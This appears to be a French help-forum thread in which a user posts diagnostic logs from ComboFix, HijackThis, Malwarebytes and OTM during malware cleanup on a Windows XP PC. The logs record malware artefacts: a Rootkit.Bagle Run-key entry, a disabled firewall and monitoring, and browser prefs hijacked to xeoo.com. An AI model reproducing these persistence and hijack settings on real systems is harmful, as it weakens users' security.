2009-06-06 22:19 . 2005-08-25 20:10 9804 ----a-w- c:\windows\system\vdremote.dll
2009-06-06 22:19 . 2005-08-25 20:09 7244 ----a-w- c:\windows\system\vdsvrlnk.dll
2009-06-06 22:19 . 2005-12-09 13:00 -------- d-----w- c:\program files\VirtualDub
2009-06-06 22:17 . 2009-06-06 22:17 -------- d-----w- c:\program files\XviD

.
(((((((((((((((((((((((((((((((((( Compte-rendu de Find3M ))))))))))))))))))))))))))))))))))))))))))))))))
.
2009-07-03 09:47 . 2008-05-20 08:40 -------- d-----w- c:\program files\Mozilla Thunderbird
2009-07-02 15:56 . 2009-02-09 12:51 1 ----a-w- c:\documents and settings\CLENET\Application Data\OpenOffice.org\3\user\uno_packages\cache\stamp.sys
2009-07-02 13:36 . 2008-02-13 14:20 -------- d-----w- c:\program files\Fichiers communs\Adobe
2009-06-30 12:34 . 2007-05-14 05:37 -------- d-----w- c:\program files\eMule
2009-06-30 11:18 . 2004-07-14 12:49 -------- d-----w- c:\documents and settings\CLENET\Application Data\dvdcss
2009-06-29 13:35 . 2001-08-28 12:00 73020 ----a-w- c:\windows\system32\perfc00C.dat
2009-06-29 13:35 . 2001-08-28 12:00 464474 ----a-w- c:\windows\system32\perfh00C.dat
2009-06-29 00:40 . 2008-01-03 15:35 -------- d-----w- c:\documents and settings\CLENET\Application Data\FileZilla
2009-06-18 17:34 . 2009-02-16 09:13 -------- d-----w- c:\documents and settings\CLENET\Application Data\Spotify
2009-06-17 22:02 . 2008-06-01 12:45 -------- d-----w- c:\program files\Malwarebytes' Anti-Malware
2009-06-17 22:02 . 2008-10-07 11:16 3561743 ----a-w- c:\documents and settings\All Users\Application Data\Malwarebytes\Malwarebytes' Anti-Malware\mbam-setup.exe
2009-06-17 09:27 . 2008-10-07 11:16 38160 ----a-w- c:\windows\system32\drivers\mbamswissarmy.sys
2009-06-17 09:27 . 2008-06-01 12:45 19096 ----a-w- c:\windows\system32\drivers\mbam.sys
2009-06-15 02:35 . 2009-06-15 02:35 0 ----a-w- c:\documents and settings\CLENET\errorlog.tmp
2009-06-15 02:10 . 2009-05-31 01:13 410984 ----a-w- c:\windows\system32\deploytk.dll
2009-06-15 02:10 . 2008-06-01 21:52 -------- d-----w- c:\program files\Java
2009-06-10 15:23 . 2006-09-09 20:45 -------- d-----w- c:\documents and settings\All Users\Application Data\DVD Shrink
2009-06-09 01:38 . 2005-09-05 20:51 -------- d-----w- c:\program files\Fichiers communs\Real
2009-06-08 21:48 . 2007-07-18 17:27 -------- d-----w- c:\program files\Windows Live
2009-06-08 21:43 . 2007-07-18 17:27 -------- d-----w- c:\documents and settings\All Users\Application Data\WLInstaller
2009-06-08 21:15 . 2008-12-30 00:28 -------- d-----w- c:\program files\MSECACHE
2009-06-06 07:56 . 2007-03-19 17:48 -------- d-----w- c:\program files\lx_cats
2009-06-02 17:47 . 2009-05-08 11:07 -------- d-----w- c:\documents and settings\CLENET\Application Data\vlc
2009-06-02 17:46 . 2009-06-02 17:33 -------- d-----w- c:\documents and settings\CLENET\Application Data\DAEMON Tools Lite
2009-06-02 17:46 . 2008-06-04 00:31 -------- d-----w- c:\documents and settings\CLENET\Application Data\DAEMON Tools
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\documents and settings\All Users\Application Data\DAEMON Tools Lite
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\program files\DAEMON Tools Lite
2009-06-02 17:45 . 2009-06-02 17:45 -------- d-----w- c:\program files\DAEMON Tools Toolbar
2009-06-02 17:33 . 2008-06-04 00:31 721904 ----a-w- c:\windows\system32\drivers\sptd.sys
2009-05-28 17:38 . 2009-05-28 17:38 -------- d-----w- c:\program files\DVDFab HD Decrypter 4
2009-05-21 20:21 . 2004-08-07 11:49 -------- d-----w- c:\documents and settings\All Users\Application Data\Spybot - Search & Destroy
2009-05-20 18:55 . 2009-05-20 18:53 -------- d-----w- c:\program files\Spybot - Search & Destroy
2009-05-13 05:04 . 2004-08-03 22:54 915456 ----a-w- c:\windows\system32\wininet.dll
2006-11-30 15:22 . 2006-11-30 15:22 18447022 ----a-w- c:\program files\openofficeorg1.cab
2006-11-30 15:17 . 2006-11-30 15:17 217 ----a-w- c:\program files\setup.ini
2006-11-30 15:17 . 2006-11-30 15:17 5298688 ----a-w- c:\program files\openofficeorg21.msi
2002-03-11 09:06 . 2002-03-11 09:06 1822520 ----a-w- c:\program files\instmsiw.exe
2002-03-11 08:45 . 2002-03-11 08:45 1708856 ----a-w- c:\program files\instmsia.exe
2005-01-19 09:48 . 2005-01-19 09:48 56 -csha-r- c:\windows\system32\68C1294D9F.sys
2005-01-19 09:48 . 2005-01-19 09:48 1890 -csha-w- c:\windows\system32\KGyGaAvL.sys
.

((((((((((((((((((((((((((((((((( Points de chargement Reg ))))))))))))))))))))))))))))))))))))))))))))))))
.
.
*Note* les éléments vides & les éléments initiaux légitimes ne sont pas listés
REGEDIT4

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"DWQueuedReporting"="c:\progra~1\FICHIE~1\MICROS~1\DW\dwtrig20.exe" [2005-04-25 36040]
"DAEMON Tools Lite"="c:\program files\DAEMON Tools Lite\daemon.exe" [2009-04-23 691656]
"ctfmon.exe"="c:\windows\system32\ctfmon.exe" [2004-08-03 15360]
"SpybotSD TeaTimer"="c:\program files\Spybot - Search & Destroy\TeaTimer.exe" [2009-03-05 2260480]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"UserFaultCheck"="c:\windows\system32\dumprep 0 -u" [X]
"lxcrmon.exe"="c:\program files\Lexmark 2400 Series\lxcrmon.exe" [2006-03-06 286720]
"EzPrint"="c:\program files\Lexmark 2400 Series\ezprint.exe" [2006-02-07 98304]
"FaxCenterServer"="c:\program files\Lexmark Fax Solutions\fm3032.exe" [2006-02-02 290816]
"LXCRCATS"="c:\windows\System32\spool\DRIVERS\W32X86\3\LXCRtime.dll" [2006-02-24 65536]
"NeroFilterCheck"="c:\windows\system32\NeroCheck.exe" [2001-07-09 155648]
"NeroCheck"="c:\windows\System32\\NeroCheck.exe" [2001-07-09 155648]
"SunJavaUpdateSched"="c:\program files\Java\jre6\bin\jusched.exe" [2009-06-15 148888]
"avgnt"="c:\program files\Avira\AntiVir Desktop\avgnt.exe" [2009-03-02 209153]
"Adobe Reader Speed Launcher"="c:\program files\Adobe\Reader 9.0\Reader\Reader_sl.exe" [2009-02-27 35696]

c:\documents and settings\CLENET\Menu D‚marrer\Programmes\D‚marrage\
OpenOffice.org 3.0.lnk - c:\program files\OpenOffice.org 3\program\quickstart.exe [2008-12-15 384000]

[HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system]
"DisableRegedit"= 0 (0x0)
HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\a²
HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\ccApp
HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\ccRegVfy
HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\GhostStartTrayApp
HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\Shareaza
HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\SpybotSD TeaTimer

[HKEY_LOCAL_MACHINE\software\microsoft\security center\Monitoring]
"DisableMonitoring"=dword:00000001

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile]
"EnableFirewall"= 0 (0x0)

[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\AuthorizedApplications\List]
"c:\\WINDOWS\\system32\\sessmgr.exe"=
"%windir%\\system32\\sessmgr.exe"=
"c:\\Program Files\\eMule\\emule.exe"=
"c:\\Program Files\\IncrediMail\\bin\\ImpCnt.exe"=
"c:\\Program Files\\Freeplayer\\vlc\\vlc.exe"=
"c:\\Program Files\\VideoLAN\\VLC\\vlc.exe"=
"c:\\Program Files\\Spotify\\spotify.exe"=
"c:\\Program Files\\Mozilla Firefox\\firefox.exe"=
"c:\\Program Files\\Mozilla Thunderbird\\thunderbird.exe"=
"c:\\WINDOWS\\system32\\dpvsetup.exe"=
"c:\\Program Files\\MSN Messenger\\msnmsgr.exe"=
"c:\\Program Files\\MSN Messenger\\livecall.exe"=

R2 AntiVirSchedulerService;Avira AntiVir Planificateur;c:\program files\Avira\AntiVir Desktop\sched.exe [29/06/2009 22:13 108289]
S3 46028;46028;c:\windows\system32\46028.sys [28/06/2009 22:53 54624]
S3 fbxusb;Carte réseau virtuelle FreeBox USB;c:\windows\system32\drivers\fbxusb32.sys [20/10/2004 14:23 21344]

[HKEY_LOCAL_MACHINE\software\microsoft\active setup\installed components\>{60B49E34-C7CC-11D0-8953-00A0C90347FF}]
"c:\windows\system32\rundll32.exe" "c:\windows\system32\iedkcs32.dll",BrandIEActiveSetup SIGNUP
.
Contenu du dossier 'Tâches planifiées'
.
- - - - ORPHELINS SUPPRIMES - - - -

HKCU-Run-MSMSGS - c:\program files\Messenger\msmsgs.exe
HKLM-Run-Cmaudio - cmicnfg.cpl
HKLM-Run-QD FastAndSafe - (no file)

.
------- Examen supplémentaire -------
.
uStart Page = hxxp://google/
uInternet Settings,ProxyOverride = ;localhost;<local>
IE: E&xporter vers Microsoft Excel - c:\progra~1\MICROS~2\Office10\EXCEL.EXE/3000
IE: Pages liées
IE: Pages similaires
IE: Version de la page actuelle disponible dans le cache Google
TCP: {3404C9AD-EBFC-4296-9730-4861F1CE804D} = 217.27.32.5,213.228.0.168
DPF: DirectAnimation Java Classes - file://c:\windows\Java\classes\dajava.cab
DPF: Microsoft XML Parser for Java - file://c:\windows\Java\classes\xmldso.cab
FF - ProfilePath - c:\documents and settings\CLENET\Application Data\Mozilla\Firefox\Profiles\tp3dl9ou.default\
FF - prefs.js: browser.search.defaulturl - hxxp://www.google.com/search?lr=&ie=UTF-8&oe=UTF-8&q=
FF - prefs.js: browser.startup.homepage - hxxp://fr.start2.mozilla.com/firefox?client=firefox-a&rls=org.mozilla:fr:official
FF - prefs.js: keyword.URL - hxxp://search.live.com/results.aspx?mkt=fr-FR&FORM=MIMWA2&q=
FF - HiddenExtension: Java Console: No Registry Reference - c:\program files\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0013-ABCDEFFEDCBA}(2)
FF - HiddenExtension: Java Console: No Registry Reference - c:\program files\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0014-ABCDEFFEDCBA}

---- PARAMETRES FIREFOX ----
FF - user.js: yahoo.homepage.dontask - truec:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.bookmark_page", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.current_page", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("pref.browser.homepage.disable_button.restore_default", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.places.importBookmarksHTML", true);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.places.importDefaults", false);
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.search.selectedEngine", "xeoo.com");
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("keyword.URL", "http://xeoo.com/?p=url&a=firefox&k=");
c:\program files\Mozilla Firefox\defaults\profile\prefs.js - user_pref("browser.startup.homepage", "http://www.xeoo.com/?p=h&a=firefox");
.

**************************************************************************

catchme 0.3.1398 W2K/XP/Vista - rootkit/stealth malware detector by Gmer, http://www.gmer.net
Rootkit scan 2009-07-03 14:06
Windows 5.1.2600 Service Pack 2 NTFS

Recherche de processus cachés ...

Recherche d'éléments en démarrage automatique cachés ...

Recherche de fichiers cachés ...

Scan terminé avec succès
Fichiers cachés: 0

**************************************************************************
.
Heure de fin: 2009-07-03 14:09
ComboFix-quarantined-files.txt 2009-07-03 12:09
ComboFix2.txt 2008-06-01 17:27

Avant-CF: 3 446 489 088 octets libres
Après-CF: 3 428 405 248 octets libres

WindowsXP-KB310994-SP2-Pro-BootDisk-FRA.exe
[boot loader]
timeout=2
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
c:\cmdcons\BOOTSECT.DAT="Microsoft Windows Recovery Console" /cmdcons
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professionnel" /fastdetect /noexecute=optin

226 --- E O F --- 2008-11-07 02:03

Malwarebytes' Anti-Malware 1.38
Version de la base de données: 2367
Windows 5.1.2600 Service Pack 2

03/07/2009 18:12:49
mbam-log-2009-07-03 (18-12-46).txt

Type de recherche: Examen complet (C:\|F:\|H:\|)
Eléments examinés: 147978
Temps écoulé: 47 minute(s), 16 second(s)

Processus mémoire infecté(s): 0
Module(s) mémoire infecté(s): 0
Clé(s) du Registre infectée(s): 0
Valeur(s) du Registre infectée(s): 2
Elément(s) de données du Registre infecté(s): 0
Dossier(s) infecté(s): 0
Fichier(s) infecté(s): 0

Processus mémoire infecté(s):
(Aucun élément nuisible détecté)

Module(s) mémoire infecté(s):
(Aucun élément nuisible détecté)

Clé(s) du Registre infectée(s):
(Aucun élément nuisible détecté)

Valeur(s) du Registre infectée(s):
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\german.exe (Rootkit.Bagle) -> No action taken.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit (Hijack.Regedit) -> No action taken.

Elément(s) de données du Registre infecté(s):
(Aucun élément nuisible détecté)

Dossier(s) infecté(s):
(Aucun élément nuisible détecté)

Fichier(s) infecté(s):
(Aucun élément nuisible détecté)

Bonjour,
Voici les deux logs demandés.

Logfile of random's system information tool 1.06 (written by random/random)
Run by CLENET at 2009-07-02 15:40:27
Microsoft Windows XP Professionnel Service Pack 2
System drive C: has 3 GB (17%) free of 20 GB
Total RAM: 703 MB (39% free)

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 15:40:45, on 02/07/2009
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Avira\AntiVir Desktop\sched.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\RunDll32.exe
C:\Program Files\Lexmark 2400 Series\lxcrmon.exe
C:\Program Files\Lexmark 2400 Series\ezprint.exe
C:\Program Files\Java\jre6\bin\jusched.exe
C:\Program Files\Avira\AntiVir Desktop\avgnt.exe
C:\Program Files\DAEMON Tools Lite\daemon.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
C:\Program Files\OpenOffice.org 3\program\soffice.exe
C:\Program Files\OpenOffice.org 3\program\soffice.bin
C:\Program Files\Avira\AntiVir Desktop\avguard.exe
C:\Program Files\Java\jre6\bin\jqs.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\lxcrcoms.exe
C:\WINDOWS\system32\wscntfy.exe
C:\Program Files\MSN Messenger\usnsvc.exe
C:\WINDOWS\system32\msiexec.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Documents and Settings\CLENET\Bureau\RSIT.exe
C:\Program Files\trend micro\CLENET.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = https://www.bing.com/?cc=fr&toHttps=1&redig=D4322FEE7CF74A348CB9CE970F098EF5
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://google/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = https://www.msn.com/fr-fr/?ocid=iehp
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = https://www.bing.com/?toHttps=1&redig=5FC791212101479BAFBE1A679848B1AF
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = https://www.bing.com/?toHttps=1&redig=5FC791212101479BAFBE1A679848B1AF
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = https://www.msn.com/fr-fr/?ocid=iehp
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride = ;localhost;<local>
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Liens
O2 - BHO: Lexmark Barre d'outils - {1017A80C-6F09-4548-A84D-EDD6AC9525F0} - C:\Program Files\Lexmark Toolbar\toolband.dll
O2 - BHO: AcroIEHelperStub - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Fichiers communs\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll
O2 - BHO: Spybot-S&D IE Protection - {53707962-6F74-2D53-2644-206D7942484F} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O2 - BHO: (no name) - {7E853D72-626A-48EC-A868-BA8D5E23E045} - (no file)
O2 - BHO: Windows Live Sign-in Helper - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files\Fichiers communs\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
O2 - BHO: Java(tm) Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre6\bin\jp2ssv.dll
O2 - BHO: JQSIEStartDetectorImpl - {E7E6F031-17CE-4C07-BC86-EABFE594F69C} - C:\Program Files\Java\jre6\lib\deploy\jqs\ie\jqs_plugin.dll
O3 - Toolbar: Lexmark Barre d'outils - {1017A80C-6F09-4548-A84D-EDD6AC9525F0} - C:\Program Files\Lexmark Toolbar\toolband.dll
O4 - HKLM\..\Run: [Cmaudio] RunDll32 cmicnfg.cpl,CMICtrlWnd
O4 - HKLM\..\Run: [lxcrmon.exe] "C:\Program Files\Lexmark 2400 Series\lxcrmon.exe"
O4 - HKLM\..\Run: [EzPrint] "C:\Program Files\Lexmark 2400 Series\ezprint.exe"
O4 - HKLM\..\Run: [FaxCenterServer] "C:\Program Files\Lexmark Fax Solutions\fm3032.exe" /s
O4 - HKLM\..\Run: [LXCRCATS] rundll32 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\LXCRtime.dll,_RunDLLEntry@16
O4 - HKLM\..\Run: [NeroFilterCheck] C:\WINDOWS\system32\NeroCheck.exe
O4 - HKLM\..\Run: [UserFaultCheck] %systemroot%\system32\dumprep 0 -u
O4 - HKLM\..\Run: [NeroCheck] C:\WINDOWS\System32\\NeroCheck.exe
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre6\bin\jusched.exe"
O4 - HKLM\..\Run: [avgnt] "C:\Program Files\Avira\AntiVir Desktop\avgnt.exe" /min
O4 - HKLM\..\Run: [Adobe Reader Speed Launcher] "C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe"
O4 - HKCU\..\Run: [DWQueuedReporting] "C:\PROGRA~1\FICHIE~1\MICROS~1\DW\dwtrig20.exe" -t
O4 - HKCU\..\Run: [DAEMON Tools Lite] "C:\Program Files\DAEMON Tools Lite\daemon.exe" -autorun
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [SpybotSD TeaTimer] C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
O4 - HKCU\..\Run: [german.exe] C:\WINDOWS\system32\wintems.exe
O4 - HKUS\S-1-5-19\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'SERVICE LOCAL')
O4 - Startup: OpenOffice.org 3.0.lnk = C:\Program Files\OpenOffice.org 3\program\quickstart.exe
O8 - Extra context menu item: E&xporter vers Microsoft Excel - res://C:\PROGRA~1\MICROS~2\Office10\EXCEL.EXE/3000
O9 - Extra button: (no name) - {CD67F990-D8E9-11d2-98FE-00C0F0318AFE} - (no file)
O9 - Extra button: (no name) - {DFB852A3-47F8-48C4-A200-58CAB36FD2A2} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O9 - Extra 'Tools' menuitem: Spybot - Search & Destroy Configuration - {DFB852A3-47F8-48C4-A200-58CAB36FD2A2} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O16 - DPF: {4F1E5B1A-2A80-42CA-8532-2D05CB959537} (MSN Photo Upload Tool) - http://gfx1.hotmail.com/mail/w3/pr01/resources/MSNPUpld.cab
O16 - DPF: {6E32070A-766D-4EE6-879C-DC1FA91D2FC3} (MUWebControl Class) - http://update.microsoft.com/...
O16 - DPF: {D27CDB6E-AE6D-11CF-96B8-444553540000} (Shockwave Flash Object) - http://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cab
O17 - HKLM\System\CCS\Services\Tcpip\..\{3404C9AD-EBFC-4296-9730-4861F1CE804D}: NameServer = 217.27.32.5,213.228.0.168
O23 - Service: Avira AntiVir Planificateur (AntiVirSchedulerService) - Avira GmbH - C:\Program Files\Avira\AntiVir Desktop\sched.exe
O23 - Service: Avira AntiVir Guard (AntiVirService) - Avira GmbH - C:\Program Files\Avira\AntiVir Desktop\avguard.exe
O23 - Service: Java Quick Starter (JavaQuickStarterService) - Sun Microsystems, Inc. - C:\Program Files\Java\jre6\bin\jqs.exe
O23 - Service: lxcr_device - - C:\WINDOWS\system32\lxcrcoms.exe

Bonsoir jlp,

Voici le log demandé, à la mise à jour de java, j'ai Avira qui m'a détecté: ADSPY/dowloaderNavipromo.B.30
Pfff!!! Que faire , je l'ai placé en quarantaine, mais je fais quoi du coup?

All processes killed
========== PROCESSES ==========
No active process named explorer.exe was found!
========== FILES ==========
File/Folder C:\WINDOWS\system32\wintems.exe not found.
========== REGISTRY ==========
Registry key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion­\Run not found.
========== COMMANDS ==========

[EMPTYTEMP]

User: Administrateur
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 33170 bytes
->FireFox cache emptied: 2523998 bytes

User: All Users

User: CLENET
->Temp folder emptied: 1228917 bytes
->Temporary Internet Files folder emptied: 1966679 bytes
->Java cache emptied: 0 bytes
->FireFox cache emptied: 117158181 bytes

User: Default User
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 33170 bytes

User: Documents and Settings

User: LocalService
->Temp folder emptied: 0 bytes
File delete failed. C:\Documents and Settings\LocalService\Local Settings\Temporary Internet Files\Content.IE5\index.dat scheduled to be deleted on reboot.
->Temporary Internet Files folder emptied: 32902 bytes

User: NetworkService
->Temp folder emptied: 0 bytes
->Temporary Internet Files folder emptied: 33170 bytes

%systemdrive% .tmp files removed: 0 bytes
C:\WINDOWS\B6D5E63DEFF546169DB706D08F10B0C0.TMP folder deleted successfully.
C:\WINDOWS\msdownld.tmp folder deleted successfully.
%systemroot% .tmp files removed: 3465788 bytes
%systemroot%\System32 .tmp files removed: 0 bytes
Windows Temp folder emptied: 271641 bytes

RecycleBin emptied: 0 bytes

Total Files Cleaned = 120,88 mb

OTM by OldTimer - Version 3.0.0.2 log created on 07012009_192933

Files moved on Reboot...

Registry entries deleted on Reboot...

Re ;)

J'espére que tu as les 2?

Logfile of random's system information tool 1.06 (written by random/random)
Run by CLENET at 2009-07-01 03:03:27
Microsoft Windows XP Professionnel Service Pack 2
System drive C: has 4 GB (18%) free of 20 GB
Total RAM: 703 MB (30% free)

Logfile of Trend Micro HijackThis v2.0.2
Scan saved at 03:03:49, on 01/07/2009
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v8.00 (8.00.6001.18702)
Boot mode: Normal

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\WINDOWS\Explorer.EXE
C:\WINDOWS\system32\spoolsv.exe
C:\Program Files\Avira\AntiVir Desktop\sched.exe
C:\Program Files\Avira\AntiVir Desktop\avguard.exe
C:\Program Files\Java\jre6\bin\jqs.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\system32\RunDll32.exe
C:\Program Files\Lexmark 2400 Series\lxcrmon.exe
C:\Program Files\Lexmark 2400 Series\ezprint.exe
C:\Program Files\Java\jre6\bin\jusched.exe
C:\Program Files\Avira\AntiVir Desktop\avgnt.exe
C:\Program Files\DAEMON Tools Lite\daemon.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
C:\Program Files\OpenOffice.org 3\program\soffice.exe
C:\Program Files\OpenOffice.org 3\program\soffice.bin
C:\WINDOWS\system32\wscntfy.exe
C:\WINDOWS\system32\lxcrcoms.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files\MSN Messenger\usnsvc.exe
C:\Documents and Settings\CLENET\Bureau\RSIT.exe
C:\Program Files\trend micro\CLENET.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = https://www.bing.com/?cc=fr&toHttps=1&redig=D4322FEE7CF74A348CB9CE970F098EF5
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://google/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = https://www.msn.com/fr-fr/?ocid=iehp
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = https://www.bing.com/?toHttps=1&redig=5FC791212101479BAFBE1A679848B1AF
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = https://www.bing.com/?toHttps=1&redig=5FC791212101479BAFBE1A679848B1AF
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = https://www.msn.com/fr-fr/?ocid=iehp
R1 - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings,ProxyOverride = ;localhost;<local>
R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Liens
O2 - BHO: Aide pour le lien d'Adobe PDF Reader - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Fichiers communs\Adobe\Acrobat\ActiveX\AcroIEHelper.dll
O2 - BHO: Lexmark Barre d'outils - {1017A80C-6F09-4548-A84D-EDD6AC9525F0} - C:\Program Files\Lexmark Toolbar\toolband.dll
O2 - BHO: Spybot-S&D IE Protection - {53707962-6F74-2D53-2644-206D7942484F} - C:\PROGRA~1\SPYBOT~1\SDHelper.dll
O2 - BHO: (no name) - {7E853D72-626A-48EC-A868-BA8D5E23E045} - (no file)
O2 - BHO: Windows Live Sign-in Helper - {9030D464-4C02-4ABF-8ECC-5164760863C6} - C:\Program Files\Fichiers communs\Microsoft Shared\Windows Live\WindowsLiveLogin.dll
O2 - BHO: Java(tm) Plug-In 2 SSV Helper - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre6\bin\jp2ssv.dll
O2 - BHO: JQSIEStartDetectorImpl - {E7E6F031-17CE-4C07-BC86-EABFE594F69C} - C:\Program Files\Java\jre6\lib\deploy\jqs\ie\jqs_plugin.dll
O3 - Toolbar: Lexmark Barre d'outils - {1017A80C-6F09-4548-A84D-EDD6AC9525F0} - C:\Program Files\Lexmark Toolbar\toolband.dll
O4 - HKLM\..\Run: [Cmaudio] RunDll32 cmicnfg.cpl,CMICtrlWnd
O4 - HKLM\..\Run: [lxcrmon.exe] "C:\Program Files\Lexmark 2400 Series\lxcrmon.exe"
O4 - HKLM\..\Run: [EzPrint] "C:\Program Files\Lexmark 2400 Series\ezprint.exe"
O4 - HKLM\..\Run: [FaxCenterServer] "C:\Program Files\Lexmark Fax Solutions\fm3032.exe" /s
O4 - HKLM\..\Run: [LXCRCATS] rundll32 C:\WINDOWS\System32\spool\DRIVERS\W32X86\3\LXCRtime.dll,_RunDLLEntry@16
O4 - HKLM\..\Run: [NeroFilterCheck] C:\WINDOWS\system32\NeroCheck.exe
O4 - HKLM\..\Run: [Adobe Reader Speed Launcher] "C:\Program Files\Adobe\Reader 8.0\Reader\Reader_sl.exe"
O4 - HKLM\..\Run: [UserFaultCheck] %systemroot%\system32\dumprep 0 -u
O4 - HKLM\..\Run: [NeroCheck] C:\WINDOWS\System32\\NeroCheck.exe
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre6\bin\jusched.exe"
O4 - HKLM\..\Run: [avgnt] "C:\Program Files\Avira\AntiVir Desktop\avgnt.exe" /min
O4 - HKCU\..\Run: [DWQueuedReporting] "C:\PROGRA~1\FICHIE~1\MICROS~1\DW\dwtrig20.exe" -t
O4 - HKCU\..\Run: [DAEMON Tools Lite] "C:\Program Files\DAEMON Tools Lite\daemon.exe" -autorun
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [SpybotSD TeaTimer] C:\Program Files\Spybot - Search & Destroy\TeaTimer.exe
O4 - HKCU\..\Run: [german.exe] C:\WINDOWS\system32\wintems.exe
O4 - HKUS\S-1-5-19\..\Run: [CTFMON.EXE] C:\WINDOWS\System32\CTFMON.EXE (User 'SERVICE LOCAL')
O4 - Startup: OpenOffice.org 3.0.lnk = C:\Program Files\OpenOffice.org 3\program\quickstart.exe
